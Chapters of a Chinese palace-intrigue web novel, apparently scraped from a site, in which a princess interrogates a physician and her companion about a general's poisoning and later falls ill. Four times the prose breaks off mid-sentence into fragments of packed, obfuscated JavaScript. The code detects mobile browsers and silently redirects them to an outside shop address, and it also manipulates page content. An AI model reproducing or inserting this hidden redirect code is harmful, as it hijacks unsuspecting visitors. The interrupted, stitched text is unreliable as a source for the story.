RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16864510|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间便聊不了什么事。总得来几句和缓的，把崇仪打发走了再说。这样无论如何气氛都不会太僵。 “又在说什么悄悄话呢？”余长欣走了进来，神色如常，语调中带着笑意。她上下扫了牧晓一圈，微不可察地点点头。 牧晓知道她在暗示自己示弱。虽然她一时不太清楚有什么事值得她这样做——回想她最近做过的事，难不成就是因为那个铜烛台？但她还是轻轻侧头，表示自己知道了。 “母后。”牧崇仪规规矩矩行礼后，轻轻环着牧晓的左手腕走到余长欣跟前，告状似的撇撇嘴，“是不是‘仁寿宫的那位’欺负小姑姑了？” 余长欣在唇边竖起一根手指，眼神里没有责怪，只是让崇仪慎言的意思。 牧晓低头，复刻出在宫道上时的失魂落魄，让她扬起的唇角多了几分强颜欢笑的无奈。 余长欣上前从牧崇仪手里接过她的手腕，挽了挽她的左袖口，帮她把左手上的纱布露出来，还慢慢调整了一些细节，给她在腰际挂上了一枚玉佩。 那枚玉佩十分小巧，虽然被精心保养过，但上面还是有不少因常年佩戴而留下的细微划痕。 牧晓看到那枚玉佩，面上的出神和黯然倒成了真。 这个玉佩她和母亲一人一枚，穗子是她们一起打的，珠子是她们一起串的。 她那一枚现在正静静地躺在公主府内的匣中。 兜兜转转，这一枚也回到她手里。 仁寿宫中剩余几人进了坤宁宫，看到的就是这幅场景。 明显愤愤不平的牧崇仪，满眼怜惜心疼之色的余长欣，以及与寻常神色感觉截然不同的牧晓。 宁折不弯之人偶然剥去表面上坚硬的壳，流露出的脆弱相当动人心弦。 听到有人进来，牧晓猛得一惊，缩回手，将包了棉纱布的手向身后一藏，行了个女子常用的蹲安礼。 进屋的几人神色各异。 走在最后的暮药师眯起眼睛，和见了什么稀罕事一般。 牧崇佑还没从刚才云里雾里的状态缓过神，没有仔细去看面前几位女子，继续垂眸沉思。 苏墨清见殿内的情形时微微蹙眉，又见到牧晓的动作和行礼方式，面色一松。 牧晞的视线在三个人身上扫一圈，面色不动，对牧崇佑道：“和崇仪一起出去。” “是，父皇。儿臣告退。”牧崇佑说完去牵牧崇仪。 牧崇仪侧身甩开他的手，简单行了个礼，一声不吭走出殿门，比牧崇佑走得还快。 坤宁宫中几人各自落座，一时无人言语。 “皇后和昭灵这样，倒衬得朕像个恶人。”还是牧晞率先悠悠然开口，“皇后是在担心朕真如太皇太后所说那般，将天灾栽到昭灵头上？” 余长欣本以为，他至少会等另外三人也走后再开口说这件事。听到这话，她先是瞥了一眼另外三人，微微一笑，装作疑惑不解道：“皇上这是在说什么？臣妾怎么听不懂了？” “皇后放心，朕当年不屑于做之事，现在也不会做。”牧晞意味深长地看一眼牧晓，“朕现在可只剩这一个妹妹，要真赶尽杀绝，岂不是坐实某些人嘴里杀父杀母杀绝弟妹的罪名？” “要是真有一天还沦落到杀妻杀子杀功臣的地步，”牧晞看向余长欣，语气轻松，“岂不是更应了他人口中那句‘冷血无情’？皇后，你说呢？” 36.纵容劣根 余长欣袖里指尖掐进掌中，面上还是无所谓地笑道：“陛下说得这样骇人听闻，实际上最是宽和仁善，又怎会无缘无故杀人？” 她把“宽和仁善”四个字咬得相当重，面上的笑容逐渐扩大，不甘示弱地直视回去，大有“要杀就杀，不杀就把我们好好放一边，莫多管闲事”的挑衅意味。 多年夫妻，余长欣也琢磨过对方的脾性——示弱是没有用的，但至少不会惹祸上身；主动挑点不轻不重的事，只要不涉及造反，就不会惹恼对方，反而多数时候会得到他高高在上的纵容。 这种特质并不是在对方坐上皇位后才出现的。余长欣年少时曾暗暗腹诽牧家人都是这样高傲，只是表现形式各异；后来她自己嫁了进去，为自己也逐渐浸染上这份高傲而心惊。 整个牧府，吃示弱这一套的，只有牧晓一个人。但有趣的是，若是没人提醒，牧晓自己反而从来意识不到有时应该示弱；而其他牧家人，在争强与示弱间自己玩得炉火纯青，鉴别类似把戏时更是火眼金睛。 纵容是高高在上之人的特权；在高位上坐久便忍不住戏弄下边人，是掌权者的劣根。 但他刚才放的狠话，是不是也证明了他对昭灵的示弱并非无动于衷？这点在余长欣的脑中骤然亮起，却无法被完全肯定。把希望寄托于对方似乎可有可无、忽明忽灭的人性，实在太不可靠。 不论如何，牧晞对她隐晦的挑衅果然一笑而过，明显心情不错地对台下道：“三位的正事既已各自办妥，今日无事，朕就当回判官，管管三位之间的闲事。” 来坤宁宫就为议这个的么？这不是我公主府的家事么？牧晓心中绷紧的弦不知是该松还是不该松，也不清楚这到底是他皇兄的本意，还是因为仁寿宫中发生了她不知道的事，而临时起意。 与三年前进宫闹那一场时类似的绝望又涌上心头。 每当她自觉行事方式已颇为离奇古怪时，总会有些“新鲜事”自己跳到她面前，告诉她你眼中的人和事，其实与现实大相径庭。这次亦是如此么？ 牧晓面对心中不详的预感，从来不会坐以待毙。她猛然起身，无视余皇后含着制止意味的目光，拱手道：“皇兄，这是臣妹的府中事。家事圣裁，实是明珠弹雀。可否允臣妹将人皆带回府中，问清后再禀明？” “这又怎会是昭灵府中的家事？朕听闻，这事关玄岳关之战，以及苏老将军之死。皇妹三年前便说要听实情。若是实情摆在眼前却不肯听，岂不是自食其言？”牧晞的语气称得上和蔼，脸上甚至浮现几分同情与关切。 说得没错。说得真没错。牧晓缓缓坐回原位，心道：这真是让她无法辩驳、无法回避。 她的左手攥上桌角，掌心传来的疼痛让她骤然清醒，甚至有些想笑。 牧晓突然觉得，不仅是暮药师，她皇兄也当得起“睚眦必报”四个字。 问他要真相，好啊，他就递上全部的可能；她说不想再掩耳盗铃、自欺欺人，他就让她真真实实地见到人间疾苦，撕开那些被美化过的故事外壳。 实际上，这倒也算不上在报复她。牧晓想到这里，真的笑了一下。 只是他皇兄可不是姚老先生那样容易心软的师长。相反，他相当心急，或许还疑惑不解——怎么放给妹妹这么多东西，她还是成长得那样缓慢？ “昭灵自己猜到了什么？若是下定决心，你来当这个判官也无妨。”牧晞看着妹妹的神情所有所思，出言后退一步。 “遵旨。”牧晓微笑道，“若是臣妹口不择言，还望陛下恕罪。” “自然。”牧晞应允。 牧晓深吸一口气，缓缓吐出，转向旁边刚才一直默不作声的二位，展颜问道：“两位，认识几年了？” “八年。”暮药师仍在一旁默不作声，苏墨清垂眸坐在牧晓旁边，没有去对上她的视线，只是有问必答。 那就是大周建立之初，苏老将军带着苏墨清，第一次受命前往西南平乱的时候。 “玄岳关之战，他救你，真的不是你们事先合谋的么？”牧晓见另一人不准备回答，直接转向了苏墨清，眼中神色不明。 “不是。” “换个问题。”牧晓轻叩桌面，“真的是他救的你么？” “算是。自救时临时撞见，临场合谋。” “好。你许给他什么，能让他心动？”牧晓紧接着问。 “帮他试成一副药方。” “什么药？” “毒药。” 牧晓冷哼一声，侧头看向暮药师，点名要求他回答：“暮药师，哪里来的药方？” 暮药师缩头看了一眼皇帝，见对方完全没有制止的意思，只能硬着头皮答道；“宫里来的。” “用来干什么的？”牧晓带没什么感情色彩地问。 “……”暮药师不答。 牧晓也不强逼他回答，自己换了个问题：“和毒死苏老将军的是不是同一副？” 暮药师惊骇地望着她。 “那就是了。”牧晓低头叹息，“毒是你下的？” “不是。”暮药师连忙出言反驳。 “苏老将军那副毒是你制的？”牧晓接着问。 “……早年所制。”暮药师低声道。 “存放在何处？宫里？” 暮药师又不说话了。 这不妨碍牧晓得知答案。她撑着额头继续问：“怎么想起试那毒药的解毒之法？还有，你怎么知道苏老将军是中毒死的？有人为他找过你？” 暮药师一惊，发现自己刚才还是回答了不该回答的问题。 事已至此，暮药师两眼一闭，破罐子破摔直接答道：“一个自称姓段的人找我，说有人中了毒，想请我帮忙看。我发现是我多年前制的毒药，还是没有解药的那个。因他们诊金给得太足，就给了那个姓段的年轻人一颗相同的，告诉他我见过但不会解，让他另请高明。” “这能怪我么？这要是怪我，那街上磨菜刀的一个个都有罪。我只是……” “行。”牧晓想起姚千宁那日给自己的那个装着毒药的盒子，大概就是从段家拿到的。她打断暮药师为自己喊冤的话，接着问：“你们两个，合作听起来挺顺利，怎么发展到后来对敲对砍这个地步？” 这下，苏墨清和暮药师倒是对视了一眼，又都快速移开视线。 牧晓嗤笑一声：“懂了。买卖闹掰了。” “一方刚开始没估计出来人伤到那个地步，觉得自己救回来太费力气，按约定试一副亏了。”牧晓视线扫向暮药师。 “一方明白对方不止给自己试了一副，觉得自己仁至义尽。各取所需而已，根本不需要给对方卖命。”牧晓暗暗磨牙，觉得身边这人真是不拿自己的命当回事。 见两人都沉默不语，牧晓知道自己大概猜得八九不离十。 两人不欢而散后，一个不明山外的情况，不敢贸然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16867453|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出去，只能自己继续在山里养伤和求生；另一个为躲避后续可能的报复，直接转投对方的未婚妻昭灵公主门下。 暮药师或许真的经常随手抓绝境之人试药。但这一个，还真不是他随便抓的。 都问到这个地步了，牧晓再次转向殿上，对着牧晞道：“臣妹斗胆一问。” “说。”牧晞也想听听她到底能问自己什么问题。 这妹妹一直都很有趣。表面上是有什么说什么、直言不讳的性格，实际上从小到大都是个揣着明白装糊涂的好手，不逼一把，是断不肯自己往外走的。 “毒杀苏老将军，是皇兄下的密旨么？” 牧晓一言，引得全场屏住呼吸。 “你觉得呢？”牧晞反问。 “臣妹觉得不是。因为时机不对。”牧晓想起邢承远在牢中说的那些，“斗胆再提一问。和皇兄的意思有关么？” 牧晞面对这个问题，竟然笑了一下，指指牧晓身后的二人：“这个问题可以问他们。暮药师，给昭灵公主也说说，你在仁寿宫想让朕下旨严查什么？” 暮药师本不欲让牧晓知道，但皇帝发话，他只能照办：“草民认为，是苏小将军策划的弑父。” 牧晓挑眉：“理由？” 她察觉到一丝不对劲。苏墨清这边似乎一直觉得他父亲有杀他的动机；而现在，又出现了他弑父的可能。 但在牧晓的记忆里，苏墨清和他父亲虽然性格、观念不合，但比起京中其他几家鸡飞狗跳、不得安宁，关系总体上还说得过去——至少远不到如牧晓父皇和皇兄那般，就要互下死手的地步。 不过，自从那次去延国公府遇到了莫名其妙要找她麻烦的孙氏，牧晓便不再经常登门，对这两人的关系是否发生变化，就不得而知了。 暮药师在心中暗暗回答昭灵公主的问题：因为他向皇帝提出，我有毒杀先帝的可能。 但这最好别让昭灵公主知道。 “因为，因为他……昭灵公主，因为你。”暮药师压下最直接的理由，咬牙开口回道。 暮药师以为说出这句话，昭灵公主就不会继续追问他，而是顺势去追问坐在她旁边的人。 毕竟她旁边之人，不知从何时起，已经在蹙眉盯着她了。 然而，牧晓没去看身旁人，还是不放过暮药师：“解释清楚。” 这该怎么和昭灵公主解释？怎么解释都得牵扯到皇帝。暮药师实在无法开口，偷偷瞥了高位上的牧晞一眼，想看看他的反应。 接着，他惊悚地发现，牧晓顺着他的目光，也转向了皇帝的方向，明显在思考什么。 片刻后，牧晓开口说了自己一个不着边际的猜想：“敢问皇兄，给苏老将军投毒之人，是否已在洛水刑场问斩？” “是。”牧晞直接给出了肯定的回答，甚至投来赞许的眼神。 牧晓扶了一下桌面起身道：“多谢皇兄解疑。” “陛下，让昭灵公主回去歇息吧。”余长欣忽然开口，“这里也没有旁人。我就直说了。” “太皇太后宫中的灯烛不寻常。大概有毒。”其实就是有毒，还是她亲手选的，“刚才太医为公主包扎伤口的时候，已解过毒了，但影响还是有的。得难受一阵。” 牧晓现在感觉忽冷忽热，实在没什么力气。听到这话，第一反应是：果然没错，那殿里的东西就是晦气。 她发誓下次绝对不再乱碰不熟悉之物。 37.与虎谋皮 “没事，真的没事。让我缓缓就好。”牧晓用颤抖的左手扶着宫墙，喘了几口气，抬手拒绝身旁人的搀扶，低声道，“演戏自然是要演全套的。我现在应该为太皇太后悲痛欲绝才对。” 太皇太后崩逝的消息，正像水中涟漪一般，以仁寿宫为中心，向外扩散。 他们一路出宫，一路听着各宫人传递、通告着这个消息。 牧晓觉得自己理应挤出点眼泪，但她现在自觉额头的温度能烫穿宫墙，血液顺着指节一寸寸向上翻涌灼烧，实在没多余的气力去作出点别的姿态。 第一次觉得出宫的路这样漫长。她缓了片刻，继续尽量维持平静的样子向外走。 难怪太皇太后久久缠绵病榻。牧晓抬手摁摁额角，心道，怪不得余长欣当了皇后还让仁寿宫那边活了这么久。原来是你折磨我几年，我就折磨你几年，只多不少。 远远跟在他们后头的暮药师，实在受不了这个走走停停的速度。他几步追上，掏出一个药瓶往前一递，啧了声：“宫里那群太医的水平，真是不敢恭维，这点小毒还能解成这样。比我这个老头子走得还慢。” 在苏墨清警惕混着猜疑的目光中，暮药师气笑了，不得不再次开口：“没毒，真没毒。虽然不完全对症，但真是解药。又不是给你吃的。都要跟你们回府了，我还能毒死自己的靠山不成。” 宫里两位也是黑心肝的。把他放宫里好吃好喝供着多好，非要用完就丢出去。真是不怕他和这位苏小将军因旧怨，在府内暗中闹得昭灵公主不得安生。 牧晓伸手接过药瓶，自己服了下去，一时半会也没觉得有什么好转。 “还看，还看。你就是把我现在杀了也没有。又不是灵丹，这么点时间怎么起效？”暮药师最不能容忍有人对自己的医术提出质疑，实打实地后悔三年前鬼迷心窍和这个玩意做买卖，一时间多了几分急躁，“你还不如去质问里头两位，身为她兄嫂，怎么不能来个轿子把她抬出去，还能少受点罪。” “走着进来抬着出去，那大概是我也死在仁寿宫了。”牧晓的声音从前方淡淡飘来。 还有心情和他开这种玩笑，看来是不够难受。暮药师只能无奈地退后几步，继续与他们两个保持距离。 真是欠他们牧家人的。他愤愤不平地想。 · “别走。你走了我现在也睡不着。不如继续聊聊。”牧晓闭着眼睛，左手的手背搭在自己额头上，右手试图去牵坐在床边之人，但抓了个空。 下一瞬，她感受到自己伸出去的手被轻轻握住，然后与对方十指相扣。 “好。想听哪部分？”苏墨清的声音一如既往的平静。 牧晓沉默了几息，似乎事情太多，一时不知从何处开始，就先说道：“我现在不太清醒，可能问得没什么条理。你把话尽量说清楚些，我就用不着自己猜了。” “我在宫里就想问你——与虎谋皮多久了？嗯？”牧晓睁开眼睛看向他。 “如果问的是这次——从进京第一天，宴席上，你皇兄问的那个问题开始。”苏墨清伸手去把她贴在额头上的左手展平，“放松，别再攥这只手了。不疼么？” “你皇兄当时问我，我和你之间是什么情况，日后又有什么想法。他真的在乎这个么？和他说我们两个之间的事，又有什么意思。” “他在表明他没什么想为难我或者杀我的意图。” “实际上，在他还未登基时，我和他之间有个口头上的约定。”苏墨清顿了一下。 牧晓偏头笑了一声：“别告诉我说你们约定互相帮忙弑父。” “到不了那个地步，但目的差不多。当时没想那么远，只是都与父亲不睦，又见父亲年富力强，自己掌权遥遥无期，心有不甘罢了。”苏墨清轻描淡写地简略叙述当年事，“先帝、我父亲和刘尚书三位，也算是知音。这三位掌权后，对我和你皇兄的态度急转直下。” “造反前，我们是他们的助力。我们暗中结交势力，他们只会支持。但造反成功后呢？” “他们成功时，还是壮年。大概都觉天命在己，至少可以再掌权三十年。” “三十年，甚至足够他们重新培养自己满意的人选，再稳稳妥妥地将权力交接。” “这份不满存在已久。刘尚书是何种情况我不知。但在牧府和苏府中……” 牧晓听他斟酌词句，望着房梁轻叹一声：“我知道。我母亲和姚姨，不论如何行事，内里都是说一不二的硬脾气。当年能掀翻前朝，我母亲的楚家出了大力气，姚姨在宫中震慑各家女眷，也起了相当关键的作用。” 楚岚骁和姚千宁不仅是两府内宅的真正掌权人，还在人际结交、朝局判断、银两运作等环节，有着不可忽视的影响力。她们不是那场政变的幕后人，而是合作者。 牧府中只有楚岚骁这一个大夫人。在牧晓的记忆里，她父母的关系相当融洽，举案齐眉、琴瑟和鸣之类的词，放在她父母身上从来贴切。 苏府中，姚千宁和苏老将军的关系，在牧晓记事之前就不太和睦。据说姚千宁在孕中得知民女孙氏同样有孕的消息，只是压垮这段关系的最后一根稻草。在前朝没有和离只有休妻这样的不平律法下，都不肯低头的两人争吵了数十年，终于在新朝建立、两人各自获得爵位后，痛痛快快分道扬镳。 姚千宁走时不仅带走自己的嫁妆、直接掏空了整个苏府的家产，还是苏府众人最大的债主。苏府中人眼见她一有缘由就上门催债打砸，却拿她无可奈何，只能低头认错。 而皇宫之内，成了皇后的楚岚骁意识到了自己此生最大的错误——扶他人为帝。 皇宫内不断有新的孩子降生。 楚岚骁没有去对孩子和孩子的母亲下手，而是选择在朝堂上与先帝争夺话语权。新朝建立，本就借了不少她这边的势，真斗起来也是暗潮汹涌。 但在六年前，这一切戛然而止。 对外缘由为，先皇和先皇后，前后病逝。 “你知道先帝和我母亲离世的真实原因么？”牧晓突然问他。 苏墨清摇摇头：“这点我确实不知。”或许命运就是那样无常，或许背后另有隐情。 “不过，”他坦白道，“你问暮药师指责我弑父的缘由，他给的回答，并不是仁寿宫中这个问题的真正起因。他只是说不出、不能说别的罢了。” “嗯，听出来了。若是我顺了他的意，转头问你‘为什么会是因为我’，岂不是直接替你做实了罪名？”牧晓笑了一下，“这招他真是现学现卖，不过没卖出去罢了。” “你们在仁寿宫怎么谈到这个的？”牧晓顺势问道。 “他不肯对仁寿宫那位动手，怕皇帝给他直接按个什么罪名问斩。你皇兄暗示我推他一把。我就直接告他涉及谋害、毒杀先帝。”苏墨清漫不经心道，“就凭他改不掉喜欢炼丹的毛病，先帝生前又喜探问长生秘法，这个罪名他百口莫辩。” “他指责我弑父，其实是想借此说我有得是杀人经验，好推我出去动手。” “最后呢？”牧晓问。 “余皇后看不下去了，亲自动完手，转身就往自己寝宫方向走。” 牧晓恍然：“所以她是第一个回坤宁宫的。” “如果这两个都只是托词……”她勾起手指敲了一下自己现在烫得转不动的头，“我在宫里证实了一种可能。” “三年前，我监斩的洛水刑场里，有同父异母的弟妹，有先帝嫔妃的家人，有试图上报苏老将军是中毒而死的医师。他们最统一的罪名是，巫祝进宫，妖言惑众，动摇民心。” “而皇兄肯定，他们之中有给苏老将军下毒之人。” 牧晓当时想，洛水刑场为什么就那一次非要让她监斩？仅仅是为了警告她，不安分就要和那些同父异母的弟妹一样被砍头么？ 余长欣为什么会担心天灾之事被栽到她身上？坊间那股喊她“妖女”的风气到底是怎么起来的？ 既然苏老将军的毒不是她皇兄下的，那下毒者被惩罚了么？她为什么不知道…… 或许就如苏墨清和牧晞在年少时的不甘一般，在牧晞即位后，先帝那些有孩子的妃嫔和那些逐渐长大的孩子，也是那样不甘——不甘心一辈子断了登上高位的路，不甘心一辈子提心吊胆、受制于人。 他们成了牧晞即位后议礼论战的主要推手。 而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16872000|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玄岳关之战后，这个局面被彻底引爆。 他们试图以残杀功臣的罪名，正式开始对这位皇帝的流言侵蚀。 流言也没有放过皇帝唯一一位同父同母的妹妹——凭什么牧晞和牧晓，一个有皇位，一个有封号和封地，而同为先帝的孩子，他们什么都没有？ 于是借巫祝之言，牧晓成了他们口中克父克母克夫家的妖女。 不过，在洛水刑场雪亮的刀锋下，一切都是徒劳。 流言能在接近胜利时锦上添花，但妄图只以流言撼动真真实实的强权，才是异想天开。 而且他们碰了最不该触动的东西——不论这一战后，皇帝是否决定过河拆桥、卸磨杀驴，这积淀已久、足以定下西南日后十年格局的一战，一定要胜，还要胜得漂亮。 牧晓想，或许就算有人拿出确实的证据，告诉皇帝苏家在战后准备谋反，皇帝大概也做不出战中杀将这种事。这简直是在拿将士性命、一方安危、甚至是国运，开天大的玩笑。 “但他们怎么有能力给苏老将军下毒的呢？”牧晓喃喃道，“冷。灯烛里真能下这么重的毒么？”她往牵着她的人那边靠靠，直接躺到对方腿上。 “牧晓，你当自己是铁打的么？”苏墨清挪了一下位置，让她躺地舒服些，贴了贴她的额头，担忧地问，“真的不需要再请个医师来么？”他对那暮药师实在没有信任可言。 “没事。别走。我又不是完全不通医术。还行。死不了。在西南时烧到这个地步还是一样……”一样做她自己该做的事。也没有能信任且有时间这样停下来陪着她的人。 “别走。”她又重复一遍。 或许是人生病时格外脆弱，她遮住自己的眼睛，没来由地轻轻道：“我什么都留不住。有时没勇气听真相，也没勇气继续往前走。” 执着于追寻过往的真相，或许只是因为自己对现状也无能为力。于是逆流而上，于是诉诸源头，于是执迷不悟，疯狂地在世间叩问，找到一个能自圆其说的故事，将它当成真相，只为安抚自己那颗易碎的、不堪的、脆弱的心。 “真相……你觉得自己的过往是虚假的么？”苏墨清垂眸看着怀中人，抓到这个问题的症结。 牧晓刹那间僵了一瞬。 “你没有在往前走么？你在进京前，说你只是想求个答案。答案找到了，又向下发掘出更深的答案。现在已经用上了‘真相’二字。这走得还不够远么？”苏墨清缓缓道。 “当年在玄岫城里，有人和你说过‘你救不下所有人’这句话么？” “为何对自己这么苛刻？嗯？你明明对别人所求不多，为什么对自己这么苛刻呢？” “你觉得谁做得比你好？你皇兄？他在玄岳关那件事中，真的赢了么？” “你刚才问得方向很对——你那些名义上的弟妹与他们的亲族，哪里有能力对延国公下毒？因为你皇兄有这个意思，有这个打算，埋了这条引线，所以只要别人顺手丢个火星，就差点坏了全局。他还无法对外解释，能做的只是杀了对方永绝后患。” “你三年前进宫质问他时，他是不是对你发怒了？那火气真的是对你的么？还是对他自己的无能为力？他逼你去洛水刑场监斩，让你去亲自砍邢承远，为什么？因为他自己做不了这两件事。” “你见到了刘尚书请辞。进京那日家宴上，他摔的那个茶盏，摔给谁看的？那日当值的京卫同知刘章毅，是刘尚书的亲儿子。他抓不到能名正言顺除去眼中钉的罪名，放任京郊截杀，放任平良县山崩和封冻，还让你当诱饵引对方动手。这高明么？是站得高，权力大，所以显得算无遗策、神乎其神。” “仁寿宫里，你觉得他面对太皇太后的话真的无动于衷么？我看他更想摔东西打断，但他要他所谓的体面和威仪；就算现在，太皇太后崩逝这件事，他不会自己哭两声么？非要你去走那宫道？” “你觉得他给你放的权力多么？我觉得一点不多。” “你觉得官员对你足够敬重么？不够，一点都不够。” “嫉妒与暗暗的自愧弗如叠加，他们却不想认。” “为什么？为什么现在痛苦的偏偏是你呢？” 38.提线人偶 “谢谢。真的。谢谢你。一直以来。”牧晓慢慢向下移开盖在自己眼睛上的手，睁开眼，静静地望着他，断断续续地说道。 “我说的难道不是事实么？”苏墨清对上那双眼睛，看见里面倒映出自己的不平与失态。 他下意识扭头避开她的目光，试图把自己从那双似光下平湖般的眸中移开，又听到怀中人轻笑了一声。 “是。是我有所缺漏的那部分，也是我在刻意回避的那部分。”牧晓依旧看着他，轻声叹息道，“我知道，过往的喜乐悲欢都是真的。牧府曾经是我的桃花源，天大的问题拿到这里，都能被轻而易举解决。不想听的事不听，不想做的事不做。总有人在打雷时捂住我的耳朵，在朔雪天将我赶进温暖的屋中。” 说不上是幸运还是不幸——这里给了她足够燃烧很久的勇气与坚定，给了她任何风暴都无法抽离的底气；但当她惊觉自己是其中彻彻底底的失权者那刻，不论是因保护者的离开，还是因她拒绝坐以待毙，这桃源注定会在某日崩塌破碎。 爱是桃源中飘渺而辽阔的天空，她每日抬头可见，触手可及。 但支撑这片四方天地的梁柱，剥去雕花外皮，就会不可避免地露出空洞的柱心。 而系起这梁柱两头的，原来只是名为“利益与权衡”的细丝。 “那不是假的，但终有点掩耳盗铃意味。”她的眸中泛起粼粼波光，侧身向外缓缓蜷成一团，笑道，“因为自始至终，那提线偶似的利用，也是真的。” “或许我穷尽一生都卸不完腕上悬着的线。” “谢谢你，是因为竟然有人为提线偶抱不平。真的，这就够了。” “可这线连着的不仅是我。” 牧晓的话锋骤然一转，还是那样带笑的语气，轻飘飘地问：“你和我皇兄，这不就把刘尚书从兵部拿开了么？这是他暗中派给你的差事吧？” “他为了拔掉这只一心求稳、死而不僵的蛀虫，而你为了往尘寺半山处，在堂中对同袍立下的誓言。对么？” “现在这个局面，不仅你们喜闻乐见。” “我也是。” 她从未忘记玄岫城受灾时，刘尚书主张的放任处理。 既然道不同不相为谋，往后显然要互设障碍，那就别怪她借力先把这障碍拿开。 甚至比她预想中成功得还要快。 · 太皇太后的丧葬事宜在有条不紊进行。 这位太皇太后缠绵病榻已久，仁寿宫闭门近十年，她连宫务都不曾有权管过。在她崩逝的消息传开后，前朝后宫许多人才恍然想起还有这么一号人物。 昭灵公主忧思过度，病得相当严重，出宫那一路上人皆见了。 公主府隐晦提几句，皇帝也顺势下旨夺情，除了必须要参与的场合，哭灵、守灵、服丧都可从简。 朝中，因京城附近刚遭了雷打雪之灾，俗话说“雷打雪，人吃铁”，各部都为管控灾情严阵以待，这丧事在皇帝以国事为重的艰难取舍下，本就被一再化简，尽量恢复正常政务流程。 冬至和元旦原本宫中本应开宴，现在也取消了。刘尚书的践行宴亦没开起来。 牧晓在随意演了几场后，在府中真正得闲了一段时间。 公主府中年节虽不能张灯结彩，外表保持肃穆，但内里实则相当热闹。 怎么能不热闹呢？ 被牧晓从平良县拎回来的闻絮，在公主府中日日追着连冬跑——她每日都向不同人讨教新招式，练会后就迫不及待去找连冬再战。 国丧期间，连冬本来事务不多，结果公主府中就这样多了一个闻絮，每日缠得她不胜其烦。 闻絮虽然暂时还打不过连冬，但确实算个高手，且越败越战、越战越勇，逼得连冬不得不应战，也无法再如以往那般神出鬼没了。 “砰。”牧晓听到门前这一声响，就知道大概是闻絮又被连冬扔下屋顶，还特意扔她门前，暗示她快点把人送还给闻笙。 牧晓拍掉手上沾的彩泥，起身推开门，把闻絮从地上扯进屋，仰头对屋顶道：“连冬，一起进来暖和会吧。” 虽然不太习惯如芒夏一般一直待在牧晓身边，但有牧晓在，闻絮会收敛许多。连冬应了一声，也跟着进屋。 “你们两个，”牧晓对着左右两边人的额头，一人轻轻敲了一下，“知道我在这个院里一般不干正事，一言不合就打到这个院的屋顶上，还天天把对方往檐下踹。” “知道的明白你们在切磋，不知道的还以为你们有什么血海深仇。”牧晓把她们两个手中的刀剑抢过来看了看，顺手拍在桌面上，“每日武器不重样，还喜欢自己做些修改。这鬼点子可真不少。” 连冬持续默不作声。 闻絮比在平良县时正常些，略一含下巴，忽闪着那双清澈透亮的圆眼看着牧晓，乖乖道：“谢殿下夸奖。”她不找人打架时，很像个乖巧且内敛的邻家妹妹，让人不忍苛责。 “我刚搭完。按照你的描述，遇到让你去平良县杀人的那个人时，是不是近似这个场景？”牧晓指指桌上搭出来的街道缩景，偏头询问闻絮。 她从宫中搬出后，在府里为打发时间，经常自己玩这种缩景造园。这次称病与国丧相叠，京中和西南事务骤减，又无法出门，就按闻絮的叙述自己动手搭了当时的场景，方便推敲。只是左手上的伤不太方便，所以这次花得时间长了些。 “是的。殿下好厉害，比我姐姐搭得那些传神。”闻絮仔细看着那街景，两眼发亮。她平时经常看闻笙搭这种小景观，不过闻笙宣纸上画的图比搭出来生动得多。 闻絮又看看一旁牧晓根据她口述画得草图，怎么也没想明白，纸上那几个框和潦草的标注，是怎么变成桌上这个细致入微的街景的。 “因为那条街我去过。”牧晓笑着摇摇头，“我可没有闻笙那般好的画工。” “当时从南城百听阁出来，怎么想到去这条街？”牧晓低头看着那条街。这个地方离南城百听阁不远，但路不是特别顺，且小商小贩、三教九流都很多。 “因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16876528|189215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我之前就经常在那里。最近这几个月，京中身怀技艺但无处可去的卖艺人，总是聚在那条街上。我喜欢在这里支摊子，因为可以看他们向过路人展示手艺。”闻絮指了指一条小巷与大路的交汇处。 闻絮在被闻笙捡到前，就是自己在街上摆摊为生。那时她年纪尚小，卖的是自己编的草筐；而现在，她摆摊卖的不仅是草筐，还是愿望。接活护送完一支商队或是暗杀完一个山匪头目之类的，她就会编一个草筐后，出去摆摊。 如果有人来买这个草筐，她卖出后会问那个人，是否还有需要帮助的地方。 绝大多数人会直接说“没有”。 偶尔会有人试探地问，手上东西太多，能不能让她帮忙往前提一段路。她会欣然同意。 